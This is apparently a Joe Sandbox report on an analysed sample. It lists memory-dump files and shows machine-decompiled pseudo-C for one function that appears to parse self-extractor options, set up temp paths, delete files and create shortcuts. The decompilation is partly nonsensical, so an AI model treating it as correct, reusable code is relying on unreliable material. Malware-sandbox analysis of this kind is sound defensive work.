Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: c3d97c75274f0844c5f85cc1b023ddb42ba5bfbc7454e51d5a081771ae27ab2b
Instruction ID: 391e6b3872b2ee678cd125962ba90b80f797135446cc7dc7dc84189b43c2380a
Opcode Fuzzy Hash: c3d97c75274f0844c5f85cc1b023ddb42ba5bfbc7454e51d5a081771ae27ab2b
Instruction Fuzzy Hash: 0DD15EB1049784DBD770EF949849A9FBAE8FB84744F91091DF289D6240DFB0954CCB63

Uniqueness

Uniqueness Score: -1.00%

Function 0087177D Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E0087177D(void* __edx, void* __edi) {
				intOrPtr _t232;
				void* _t237;
				intOrPtr _t293;
				intOrPtr _t297;
				long _t308;
				void* _t311;
				signed int _t312;
				void* _t316;

				E00873A94(0x88712e, _t316);
				_t232 = E00873AC0(0x1b888);
				if( *((intOrPtr*)(_t316 + 0xc)) == 0) {
					L180:
					 *[fs:0x0] =  *((intOrPtr*)(_t316 - 0xc));
					return _t232;
				}
				_push(0x1000);
				_push(_t316 - 0x15);
				_push(_t316 - 0xd);
				_push(_t316 - 0x588c);
				_push(_t316 - 0xf894);
				_push( *((intOrPtr*)(_t316 + 0xc)));
				_t232 = E00870354(__edi, _t316);
				_t297 = _t232;
				 *((intOrPtr*)(_t316 + 0xc)) = _t297;
				if(_t297 != 0) {
					_t293 =  *((intOrPtr*)(_t316 + 0x10));
					_push(__edi);
					do {
						_t237 = _t316 - 0x588c;
						_t311 = _t316 - 0x1b894;
						_t308 = 6;
						goto L4;
						L6:
						while(E00867D24(_t316 - 0xf894,  *((intOrPtr*)(0x893624 + _t312 * 4))) != 0) {
							_t312 = _t312 + 1;
							if(_t312 < 0xe) {
								continue;
							} else {
								goto L178;
							}
						}
						if(_t312 > 0xd) {
							goto L178;
						}
						switch( *((intOrPtr*)(_t312 * 4 +  &M00872459))) {
							case 0:
								__eflags = _t293 - 2;
								if(_t293 == 2) {
									_t308 = 0x800;
									E0086F86D(_t316 - 0x788c, 0x800);
									E008629A2(E00863793(__eflags, _t316 - 0x788c, _t316 - 0x588c, _t316 - 0xd894, 0x800), _t293, _t316 - 0x8894, _t312);
									 *(_t316 - 4) = 0;
									E00862ADC(_t316 - 0x8894, _t316 - 0xd894);
									E00861AC3(_t316 - 0x388c);
									while(1) {
										_push(0);
										_t255 = E00862A2F(_t316 - 0x8894, _t316 - 0x388c);
										__eflags = _t255;
										if(_t255 == 0) {
											break;
										}
										SetFileAttributesW(_t316 - 0x388c, 0);
										__eflags =  *(_t316 - 0x2880);
										if(__eflags == 0) {
											L18:
											_t259 = GetFileAttributesW(_t316 - 0x388c);
											__eflags = _t259 - 0xffffffff;
											if(_t259 == 0xffffffff) {
												continue;
											}
											_t261 = DeleteFileW(_t316 - 0x388c);
											__eflags = _t261;
											if(_t261 != 0) {
												continue;
											} else {
												_t314 = 0;
												_push(0);
												goto L22;
												L22:
												E008639A9(_t316 - 0x1044, _t308, L"%s.%d.tmp", _t316 - 0x388c);
												_t318 = _t318 + 0x14;
												_t266 = GetFileAttributesW(_t316 - 0x1044);
												__eflags = _t266 - 0xffffffff;
												if(_t266 != 0xffffffff) {
													_t314 = _t314 + 1;
													__eflags = _t314;
													_push(_t314);
													goto L22;
												} else {
													_t269 = MoveFileW(_t316 - 0x388c, _t316 - 0x1044);
													__eflags = _t269;
													if(_t269 != 0) {
														MoveFileExW(_t316 - 0x1044, 0, 4);
													}
													continue;
												}
											}
										}
										E00863470(__eflags, _t316 - 0x788c, _t316 - 0x1044, _t308);
										E0086316F(__eflags, _t316 - 0x1044, _t308);
										_t315 = E00878793(_t316 - 0x788c);
										__eflags = _t315 - 4;
										if(_t315 < 4) {
											L16:
											_t280 = E00863754(_t316 - 0x588c);
											__eflags = _t280;
											if(_t280 != 0) {
												break;
											}
											L17:
											_t283 = E00878793(_t316 - 0x388c);
											__eflags = 0;
											 *((short*)(_t316 + _t283 * 2 - 0x388a)) = 0;
											E00874BD0(_t308, _t316 - 0x44, 0, 0x1e);
											_t318 = _t318 + 0x10;
											 *((intOrPtr*)(_t316 - 0x40)) = 3;
											_push(0x14);
											_pop(_t286);
											 *((short*)(_t316 - 0x34)) = _t286;
											 *((intOrPtr*)(_t316 - 0x3c)) = _t316 - 0x388c;
											_push(_t316 - 0x44);
											 *0x8c9050();
											goto L18;
										}
										_t291 = E00878793(_t316 - 0x1044);
										__eflags = _t315 - _t291;
										if(_t315 > _t291) {
											goto L17;
										}
										goto L16;
									}
									 *(_t316 - 4) =  *(_t316 - 4) | 0xffffffff;
									E008629B8(_t316 - 0x8894);
								}
								goto L178;
							case 1:
								__eflags = __ebx;
								if(__ebx == 0) {
									__eax = E00878793(__esi);
									__eax = __eax + __edi;
									_push(__eax);
									_push( *0x8c62dc); // executed
									__eax = L0087AA36(__ecx, __edx); // executed
									__esp = __esp + 0xc;
									__eflags = __eax;
									if(__eax != 0) {
										__eax = E0087C007(__eax, __esi);
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags = __bh;
									if(__bh == 0) {
										__eax = L008787AE(__esi);
									}
								}
								goto L178;
							case 2:
								__eflags = __ebx;
								if(__ebx == 0) {
									__ebp - 0x588c = SetWindowTextW( *(__ebp + 8), __ebp - 0x588c); // executed
								}
								goto L178;
							case 3:
								__eflags = __ebx;
								if(__ebx != 0) {
									goto L178;
								}
								__eflags =  *0x8b0a42 - __di;
								if( *0x8b0a42 != __di) {
									goto L178;
								}
								__eax = 0;
								__edi = __ebp - 0x588c;
								_push(0x22);
								 *(__ebp - 0x1044) = __ax;
								_pop(__eax);
								__eflags =  *(__ebp - 0x588c) - __ax;
								if( *(__ebp - 0x588c) == __ax) {
									__edi = __ebp - 0x588a;
								}
								__eax = E00878793(__edi);
								__esi = 0x800;
								__eflags = __eax - 0x800;
								if(__eax >= 0x800) {
									goto L178;
								} else {
									__eax =  *__edi & 0x0000ffff;
									_push(0x5c);
									_pop(__ecx);
									__eflags = ( *__edi & 0x0000ffff) - 0x2e;
									if(( *__edi & 0x0000ffff) != 0x2e) {
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											L64:
											__ebp - 0x1044 = E008668CD(__ebp - 0x1044, __edi, __esi);
											__ebx = 0;
											__eflags = 0;
											L65:
											_push(0x22);
											_pop(__eax);
											__eax = __ebp - 0x1044;
											__eax = E008758CB(__ebp - 0x1044, __ebp - 0x1044);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *(__eax + 2) - __bx;
												if( *(__eax + 2) == __bx) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__eax = __ebp - 0x1044;
											__edi = 0x8b0a42;
											E008668CD(0x8b0a42, __ebp - 0x1044, __esi) = __ebp - 0x1044;
											__eax = E008701F1(__ebp - 0x1044, __esi);
											__esi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x1044 = SetWindowTextW(__esi, __ebp - 0x1044); // executed
											__eax = SendMessageW(__esi, 0x143, __ebx, 0x8b0a42); // executed
											__eax = __ebp - 0x1044;
											__eax = E0087A890(__ebp - 0x1044, 0x8b0a42, __eax);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x1044 = SendMessageW(__esi, 0x143, __ebx, __ebp - 0x1044);
											}
											goto L178;
										}
										L53:
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x1c;
											__ebx = 0;
											_push(__ebp - 0x1c);
											_push(1);
											_push(0);
											_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
											_push(0x80000002);
											__eax =  *0x8c9004();
											__eflags = __eax;
											if(__eax == 0) {
												__eax = __ebp - 0x14;
												 *(__ebp - 0x14) = 0x1000;
												_push(__ebp - 0x14);
												__eax = __ebp - 0x1044;
												_push(__ebp - 0x1044);
												__eax = __ebp - 0x24;
												_push(__ebp - 0x24);
												_push(0);
												_push(L"ProgramFilesDir");
												_push( *(__ebp - 0x1c));
												__eax =  *0x8c9000();
												_push( *(__ebp - 0x1c));
												 *0x8c900c() =  *(__ebp - 0x14);
												__ecx = 0x7ff;
												__eax =  *(__ebp - 0x14) >> 1;
												__eflags = __eax - 0x7ff;
												if(__eax >= 0x7ff) {
													__eax = 0x7ff;
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x1044) = __cx;
											}
											__eflags =  *(__ebp - 0x1044) - __bx;
											if( *(__ebp - 0x1044) != __bx) {
												__eax = __ebp - 0x1044;
												__eax = E00878793(__ebp - 0x1044);
												_push(0x5c);
												_pop(__ecx);
												__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x1046)) - __cx;
												if(__eflags != 0) {
													__ebp - 0x1044 = E008668A5(__eflags, __ebp - 0x1044, "\\", __esi);
												}
											}
											__esi = E00878793(__edi);
											__eax = __ebp - 0x1044;
											__eflags = __esi - 0x7ff;
											__esi = 0x800;
											if(__eflags < 0) {
												__ebp - 0x1044 = E008668A5(__eflags, __ebp - 0x1044, __edi, 0x800);
											}
											goto L65;
										}
										__eflags =  *((short*)(__edi + 2)) - 0x3a;
										if( *((short*)(__edi + 2)) == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
									if( *((intOrPtr*)(__edi + 2)) != __cx) {
										goto L53;
									}
									__edi = __edi + 4;
									__ebx = 0;
									__eflags =  *__edi - __bx;
									if( *__edi == __bx) {
										goto L178;
									} else {
										__ebp - 0x1044 = E008668CD(__ebp - 0x1044, __edi, 0x800);
										goto L65;
									}
								}
							case 4:
								__eflags =  *0x8b0a3c - 1;
								__eflags = __eax - 0x8b0a3c;
								 *__edi =  *__edi + __ecx;
								__eflags =  *(__edx + 7) & __al;
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x588c) & 0x0000ffff;
								__ecx = 0;
								__eax =  *(__ebp - 0x588c) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L82:
									 *0x8aea1f = __cl;
									 *0x8aea30 = 1;
									goto L178;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x8aea1f = __cl;
									L81:
									 *0x8aea30 = __cl;
									goto L178;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L82;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L178;
								}
								 *0x8aea1f = 1;
								goto L81;
							case 6:
								__edi = 0;
								 *0x8b2b57 = 1;
								__edi = 1;
								__eax = __ebp - 0x588c;
								__eflags =  *(__ebp - 0x588c) - 0x3c;
								__ebx = __esi;
								 *(__ebp - 0x14) = __eax;
								if( *(__ebp - 0x588c) != 0x3c) {
									L99:
									__eflags =  *((intOrPtr*)(__ebp + 0x10)) - 5;
									if( *((intOrPtr*)(__ebp + 0x10)) != 5) {
										__eflags =  *((intOrPtr*)(__ebp + 0x10)) - 4;
										if( *((intOrPtr*)(__ebp + 0x10)) != 4) {
											goto L178;
										}
										__eflags = __ebx - 6;
										if(__ebx != 6) {
											goto L178;
										}
										__ecx = 0;
										__eflags = 0;
										_push(0);
										L105:
										_push(__edi);
										_push(__eax);
										_push( *(__ebp + 8));
										__eax = E008727CF(__ebp);
										goto L178;
									}
									__eflags = __ebx - 9;
									if(__ebx != 9) {
										goto L178;
									}
									_push(1);
									goto L105;
								}
								__eax = __ebp - 0x588a;
								_push(0x3e);
								_push(__ebp - 0x588a);
								__eax = E008750E0(__ecx);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									L98:
									__eax =  *(__ebp - 0x14);
									goto L99;
								}
								_t111 = __eax + 2; // 0x2
								__ecx = _t111;
								 *(__ebp - 0x14) = _t111;
								__ecx = 0;
								 *__eax = __cx;
								__eax = __ebp - 0x10c;
								_push(0x64);
								_push(__ebp - 0x10c);
								__eax = __ebp - 0x588a;
								_push(__ebp - 0x588a);
								__eax = E008700F6();
								 *(__ebp - 0x20) = __eax;
								__eflags = __eax;
								if(__eax == 0) {
									goto L98;
								}
								__esi = __eax;
								while(1) {
									__eflags =  *(__ebp - 0x10c);
									if( *(__ebp - 0x10c) == 0) {
										goto L98;
									}
									__eax = __ebp - 0x10c;
									__eax = E00867D24(__ebp - 0x10c, L"HIDE");
									__eax =  ~__eax;
									asm("sbb eax, eax");
									__edi = __edi & __eax;
									__eax = __ebp - 0x10c;
									__eax = E00867D24(__ebp - 0x10c, L"MAX");
									__eflags = __eax;
									if(__eax == 0) {
										_push(3);
										_pop(__edi);
									}
									__eax = __ebp - 0x10c;
									__eax = E00867D24(__ebp - 0x10c, L"MIN");
									__eflags = __eax;
									if(__eax == 0) {
										_push(6);
										_pop(__edi);
									}
									_push(0x64);
									__eax = __ebp - 0x10c;
									_push(__ebp - 0x10c);
									_push(__esi);
									__esi = E008700F6();
									__eflags = __esi;
									if(__esi != 0) {
										continue;
									} else {
										goto L98;
									}
								}
								goto L98;
							case 7:
								__eflags = __ebx - 1;
								if(__eflags != 0) {
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										__eflags =  *0x8b0a3c - __edi;
										if( *0x8b0a3c == __edi) {
											 *0x8b0a3c = 2;
										}
										 *0x8afa38 = 1;
									}
									goto L178;
								}
								__eax = __ebp - 0x788c;
								__edi = 0x800;
								GetTempPathW(0x800, __ebp - 0x788c) = __ebp - 0x788c;
								__eax = E0086316F(__eflags, __ebp - 0x788c, 0x800);
								__ebx = 0;
								__esi = 0;
								_push(0);
								while(1) {
									_push( *0x893604);
									__ebp - 0x788c = E008639A9(0x8afa3a, __edi, L"%s%s%u", __ebp - 0x788c);
									__eax = E00862680(0x8afa3a);
									__eflags = __al;
									if(__al == 0) {
										break;
									}
									__esi =  &(__esi->i);
									__eflags = __esi;
									_push(__esi);
								}
								__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x8afa3a);
								__eflags =  *(__ebp - 0x588c) - __bx;
								if( *(__ebp - 0x588c) == __bx) {
									goto L178;
								}
								__eflags =  *0x8b2b55 - __bl;
								if( *0x8b2b55 != __bl) {
									goto L178;
								}
								__eax = 0;
								 *(__ebp - 0x444) = __ax;
								__eax = __ebp - 0x588c;
								_push(0x2c);
								_push(__ebp - 0x588c);
								__eax = E008750E0(__ecx);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L122:
									__eflags =  *(__ebp - 0x444) - __bx;
									if( *(__ebp - 0x444) == __bx) {
										__ebp - 0x1b894 = __ebp - 0x588c;
										E008668CD(__ebp - 0x588c, __ebp - 0x1b894, 0x1000) = __ebp - 0x19894;
										__ebp - 0x444 = E008668CD(__ebp - 0x444, __ebp - 0x19894, 0x200);
									}
									__ebp - 0x588c = E0086FF30(__ebp - 0x588c);
									__eax = 0;
									 *(__ebp - 0x488c) = __ax;
									__ebp - 0x444 = __ebp - 0x588c;
									__eax = E0086FA04( *(__ebp + 8), __ebp - 0x588c, __ebp - 0x444, 0x24);
									__eflags = __eax - 6;
									if(__eax != 6) {
										__eax = 0;
										 *0x8aea1c = 1;
										 *0x8afa3a = __ax;
										__eax = EndDialog( *(__ebp + 8), 1);
									}
									goto L178;
								}
								__ax =  *(__ebp - 0x588c);
								__esi = __ebx;
								__eflags = __ax;
								if(__ax == 0) {
									goto L122;
								}
								__ecx = __ax & 0x0000ffff;
								while(1) {
									__eflags = __cx - 0x40;
									if(__cx == 0x40) {
										break;
									}
									__eax =  *(__ebp + __esi * 2 - 0x588a) & 0x0000ffff;
									__esi =  &(__esi->i);
									__ecx = __eax;
									__eflags = __ax;
									if(__ax != 0) {
										continue;
									}
									goto L122;
								}
								__ebp - 0x588a = __ebp - 0x588a + __esi * 2;
								__ebp - 0x444 = E008668CD(__ebp - 0x444, __ebp - 0x444, 0x200);
								__eax = 0;
								__eflags = 0;
								 *(__ebp + __esi * 2 - 0x588c) = __ax;
								goto L122;
							case 8:
								__eflags = __ebx - 3;
								if(__ebx == 3) {
									__eflags =  *(__ebp - 0x588c) - __di;
									if(__eflags != 0) {
										__eax = __ebp - 0x588c;
										_push(__ebp - 0x588c);
										__eax = E0087BFA6(__ebx, __edi);
										_pop(__ecx);
										 *0x8c62e4 = __eax;
									}
									__eax = __ebp + 0xc;
									_push(__ebp + 0xc);
									 *0x8c62e0 = E008704CE(__ecx, __edx, __eflags);
								}
								 *0x8b2b56 = 1;
								goto L178;
							case 9:
								__eflags = __ebx - 6;
								if(__ebx != 6) {
									goto L178;
								}
								__eax = 0;
								 *(__ebp - 0x2844) = __ax;
								__eax =  *(__ebp - 0x1b894) & 0x0000ffff;
								__eax = E0087C36A( *(__ebp - 0x1b894) & 0x0000ffff);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									 *(__ebp - 0x14) = 2;
									__eax = 0x8c31ca;
								} else {
									__eflags = __eax - 0x54;
									if(__eax == 0x54) {
										 *(__ebp - 0x14) = 7;
										__eax = 0x8c21ca;
									} else {
										 *(__ebp - 0x14) = 0x10;
										__eax = 0x8c41ca;
									}
								}
								__esi = 0x800;
								__ebp - 0x2844 = E008668CD(__ebp - 0x2844, __ebp - 0x2844, 0x800);
								__eax = 0;
								 *(__ebp - 0x9894) = __ax;
								 *(__ebp - 0x1844) = __ax;
								__ebp - 0x19894 = __ebp - 0x688c;
								__eax = E008668CD(__ebp - 0x688c, __ebp - 0x19894, 0x800);
								_push(0x22);
								_pop(__ebx);
								__eflags =  *(__ebp - 0x688c) - __bx;
								if( *(__ebp - 0x688c) != __bx) {
									__ebp - 0x688c = E00862680(__ebp - 0x688c);
									__eflags = __al;
									if(__al != 0) {
										goto L163;
									}
									__ax =  *(__ebp - 0x688c);
									__esi = __ebp - 0x688c;
									__ebx = __edi;
									__eflags = __ax;
									if(__ax == 0) {
										__esi = 0x800;
										goto L163;
									}
									__edi = __ax & 0x0000ffff;
									do {
										_push(0x20);
										_pop(__eax);
										__eflags = __di - __ax;
										if(__di == __ax) {
											L149:
											__eax = 0;
											__esi->i = __ax;
											__ebp - 0x688c = E00862680(__ebp - 0x688c);
											__eflags = __al;
											if(__al == 0) {
												L158:
												__esi->i = __di;
												goto L159;
											}
											__ebp - 0x688c = E00862692(__ebp - 0x688c);
											__eax = E008626ED(__eax);
											__eflags = __al;
											if(__al != 0) {
												goto L158;
											}
											_push(0x2f);
											_pop(__ecx);
											__eax =  &(__esi->i);
											__ebx = __esi;
											__eflags = __di - __cx;
											if(__di != __cx) {
												_push(0x20);
												__esi = __eax;
												_pop(__eax);
												while(1) {
													__eflags = __esi->i - __ax;
													if(__esi->i != __ax) {
														break;
													}
													__esi =  &(__esi->i);
													__eflags = __esi;
												}
												__ecx = __ebp - 0x1844;
												__eax = __esi;
												__edx = 0x400;
												L157:
												__eax = E008668CD(__ecx, __eax, __edx);
												 *__ebx = __di;
												goto L159;
											}
											 *(__ebp - 0x1844) = __cx;
											__edx = 0x3ff;
											__ecx = __ebp - 0x1842;
											goto L157;
										}
										_push(0x2f);
										_pop(__eax);
										__eflags = __di - __ax;
										if(__di != __ax) {
											goto L159;
										}
										goto L149;
										L159:
										__esi =  &(__esi->i);
										__eax = __esi->i & 0x0000ffff;
										__edi = __esi->i & 0x0000ffff;
										__eflags = __ax;
									} while (__ax != 0);
									__esi = 0x800;
									__eflags = __ebx;
									if(__ebx != 0) {
										__eax = 0;
										 *__ebx = __ax;
									}
									goto L163;
								} else {
									__ebp - 0x19892 = __ebp - 0x688c;
									E008668CD(__ebp - 0x688c, __ebp - 0x19892, 0x800) = __ebp - 0x688a;
									_push(__ebx);
									_push(__ebp - 0x688a);
									__eax = E008750E0(__ecx);
									_pop(__ecx);
									_pop(__ecx);
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x1844 = E008668CD(__ebp - 0x1844, __ebp - 0x1844, 0x400);
									}
									L163:
									__eflags =  *((short*)(__ebp - 0x11894));
									if( *((short*)(__ebp - 0x11894)) != 0) {
										__ebp - 0x9894 = __ebp - 0x11894;
										__eax = E008631A3(__ebp - 0x11894, __ebp - 0x9894, __esi);
									}
									__ebp - 0xb894 = __ebp - 0x688c;
									__eax = E008631A3(__ebp - 0x688c, __ebp - 0xb894, __esi);
									__eflags =  *(__ebp - 0x2844);
									if(__eflags == 0) {
										__ebp - 0x2844 = E00870465(__ecx, __ebp - 0x2844,  *(__ebp - 0x14));
									}
									__ebp - 0x2844 = E0086316F(__eflags, __ebp - 0x2844, __esi);
									__eflags =  *((short*)(__ebp - 0x17894));
									if(__eflags != 0) {
										__ebp - 0x17894 = __ebp - 0x2844;
										E008668A5(__eflags, __ebp - 0x2844, __ebp - 0x17894, __esi) = __ebp - 0x2844;
										__eax = E0086316F(__eflags, __ebp - 0x2844, __esi);
									}
									__ebp - 0x2844 = __ebp - 0xc894;
									__eax = E008668CD(__ebp - 0xc894, __ebp - 0x2844, __esi);
									__eflags =  *(__ebp - 0x13894);
									__eax = __ebp - 0x13894;
									if(__eflags == 0) {
										__eax = __ebp - 0x19894;
									}
									__ebp - 0x2844 = E008668A5(__eflags, __ebp - 0x2844, __ebp - 0x2844, __esi);
									__eax = __ebp - 0x2844;
									__eflags = E0086340C(__ebp - 0x2844);
									if(__eflags == 0) {
										L173:
										__ebp - 0x2844 = E008668A5(__eflags, __ebp - 0x2844, L".lnk", __esi);
										goto L174;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L174:
											__ebx = 0;
											__ebp - 0x2844 = E00862551(0, __ecx, __edi, __ebp, __ebp - 0x2844, 1, 0);
											__ebp - 0xb894 = __ebp - 0xa894;
											E008668CD(__ebp - 0xa894, __ebp - 0xb894, __esi) = __ebp - 0xa894;
											__eax = E008638D1(__eflags, __ebp - 0xa894);
											__esi =  *(__ebp - 0x1844) & 0x0000ffff;
											__eax = __ebp - 0x1844;
											__edx =  *(__ebp - 0x9894) & 0x0000ffff;
											__edi = __ebp - 0xa894;
											__ecx =  *(__ebp - 0x15894) & 0x0000ffff;
											__esi =  ~( *(__ebp - 0x1844) & 0x0000ffff);
											asm("sbb esi, esi");
											__esi =  ~( *(__ebp - 0x1844) & 0x0000ffff) & __ebp - 0x00001844;
											__edx =  ~( *(__ebp - 0x9894) & 0x0000ffff);
											__eax = __ebp - 0x9894;
											asm("sbb edx, edx");
											__edx =  ~( *(__ebp - 0x9894) & 0x0000ffff) & __ebp - 0x00009894;
											__ecx =  ~( *(__ebp - 0x15894) & 0x0000ffff);
											__eax = __ebp - 0x15894;
											asm("sbb ecx, ecx");
											__ecx =  ~( *(__ebp - 0x15894) & 0x0000ffff) & __ebp - 0x00015894;
											 *(__ebp - 0xa894) & 0x0000ffff =  ~( *(__ebp - 0xa894) & 0x0000ffff);
											asm("sbb eax, eax");
											 ~( *(__ebp - 0xa894) & 0x0000ffff) & __edi = __ebp - 0x2844;
											__ebp - 0xb894 = E0086F6AA( ~( *(__ebp - 0x15894) & 0x0000ffff) & __ebp - 0x00015894, 0, __ebp - 0xb894, __ebp - 0x2844,  ~( *(__ebp - 0xa894) & 0x0000ffff) & __edi, __ecx,  ~( *(__ebp - 0x9894) & 0x0000ffff) & __ebp - 0x00009894, __esi);
											__eflags =  *(__ebp - 0xc894) - __bx;
											if( *(__ebp - 0xc894) != __bx) {
												_push(0);
												__eax = __ebp - 0xc894;
												_push(__ebp - 0xc894);
												_push(5);
												_push(0x1000);
												__eax =  *0x8c9060();
											}
											goto L178;
										}
										goto L173;
									}
								}
							case 0xa:
								__eflags = __ebx - 7;
								if(__ebx == 7) {
									 *0x8b0a40 = 1;
								}
								goto L178;
							case 0xb:
								__eax =  *(__ebp - 0x588c) & 0x0000ffff;
								__eax = E0087C36A( *(__ebp - 0x588c) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x8aea31 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x8aea32 = 1;
									} else {
										__eax = 0;
										 *0x8aea31 = __al;
										 *0x8aea32 = __al;
									}
								}
								goto L178;
							case 0xc:
								 *0x8be1c2 = 1;
								__eax = __eax + 0x8be1c2;
								_t125 = __esi + 0x39;
								 *_t125 =  *(__esi + 0x39) + __esp;
								__eflags =  *_t125;
								__ebp = 0xffffa774;
								if( *_t125 != 0) {
									_t127 = __ebp - 0x588c; // 0xffff4ee8
									__eax = _t127;
									 *0x893608 = E00867D10(_t127);
								}
								goto L178;
						}
						L4:
						_push(0x1000);
						_push(_t311);
						_push(_t237);
						_t237 = E008700F6();
						_t311 = _t311 + 0x2000;
						_t308 = _t308 - 1;
						if(_t308 != 0) {
							goto L4;
						} else {
							_t312 = _t308;
							goto L6;
						}
						L178:
						_push(0x1000);
						_t221 = _t316 - 0x15; // 0xffffa75f
						_t222 = _t316 - 0xd; // 0xffffa767
						_t223 = _t316 - 0x588c; // 0xffff4ee8
						_t224 = _t316 - 0xf894; // 0xfffeaee0
						_push( *((intOrPtr*)(_t316 + 0xc)));
						_t232 = E00870354(_t308, _t316);
						_t293 =  *((intOrPtr*)(_t316 + 0x10));
						 *((intOrPtr*)(_t316 + 0xc)) = _t232;
					} while (_t232 != 0);
				}
			}

0x00871782
0x0087178c
0x00871795
0x0087244b
0x0087244e
0x00872456
0x00872456
0x0087179b
0x008717a3
0x008717a7
0x008717ae
0x008717b5
0x008717b6
0x008717b9
0x008717be
0x008717c0
0x008717c5
0x008717cc
0x008717d0
0x008717d1
0x008717d3
0x008717d9
0x008717df
0x008717df
0x00000000
0x008717f9
0x00871810
0x00871814
0x00000000
0x00871816
0x00000000
0x00871816
0x00871814
0x0087181e
0x00000000
0x00000000
0x00871824
0x00000000
0x0087182b
0x0087182e
0x00871834
0x00871841
0x00871867
0x0087187b
0x0087187e
0x00871889
0x008719cd
0x008719cd
0x008719db
0x008719e0
0x008719e2
0x00000000
0x00000000
0x0087189b
0x008718a1
0x008718a7
0x0087194d
0x00871954
0x0087195a
0x0087195d
0x00000000
0x00000000
0x00871966
0x0087196c
0x0087196e
0x00000000
0x00871970
0x00871970
0x00871972
0x00871973
0x00871977
0x0087198b
0x00871990
0x0087199a
0x008719a0
0x008719a3
0x00871975
0x00871975
0x00871976
0x00000000
0x008719a5
0x008719b3
0x008719b9
0x008719bb
0x008719c7
0x008719c7
0x00000000
0x008719bb
0x008719a3
0x0087196e
0x008718bc
0x008718c9
0x008718da
0x008718dd
0x008718e0
0x008718f3
0x008718fa
0x008718ff
0x00871901
0x00000000
0x00000000
0x00871907
0x0087190e
0x00871913
0x00871918
0x00871924
0x00871929
0x0087192c
0x00871933
0x00871935
0x00871936
0x00871940
0x00871946
0x00871947
0x00000000
0x00871947
0x008718e9
0x008718ef
0x008718f1
0x00000000
0x00000000
0x00000000
0x008718f1
0x008719e8
0x008719f2
0x008719f2
0x00000000
0x00000000
0x008719fc
0x008719fe
0x00871a51
0x00871a56
0x00871a5f
0x00871a60
0x00871a66
0x00871a6b
0x00871a6e
0x00871a70
0x00871a82
0x00871a87
0x00871a88
0x00871a88
0x00871a89
0x00871a8b
0x00871a92
0x00871a97
0x00871a8b
0x00000000
0x00000000
0x00871a9d
0x00871a9f
0x00871aaf
0x00871aaf
0x00000000
0x00000000
0x00871aba
0x00871abc
0x00000000
0x00000000
0x00871ac2
0x00871ac9
0x00000000
0x00000000
0x00871acf
0x00871ad1
0x00871ad7
0x00871ad9
0x00871ae0
0x00871ae1
0x00871ae8
0x00871aea
0x00871aea
0x00871af1
0x00871af6
0x00871afc
0x00871afe
0x00000000
0x00871b04
0x00871b04
0x00871b07
0x00871b09
0x00871b0a
0x00871b0d
0x00871b36
0x00871b39
0x00871c1e
0x00871c27
0x00871c2c
0x00871c2c
0x00871c2e
0x00871c2e
0x00871c30
0x00871c32
0x00871c39
0x00871c3e
0x00871c3f
0x00871c40
0x00871c42
0x00871c44
0x00871c48
0x00871c4a
0x00871c4a
0x00871c4c
0x00871c4c
0x00871c48
0x00871c50
0x00871c56
0x00871c63
0x00871c6a
0x00871c7a
0x00871c84
0x00871c92
0x00871c98
0x00871ca0
0x00871ca5
0x00871ca6
0x00871ca7
0x00871ca9
0x00871cbd
0x00871cbd
0x00000000
0x00871ca9
0x00871b3f
0x00871b3f
0x00871b42
0x00871b4f
0x00871b4f
0x00871b52
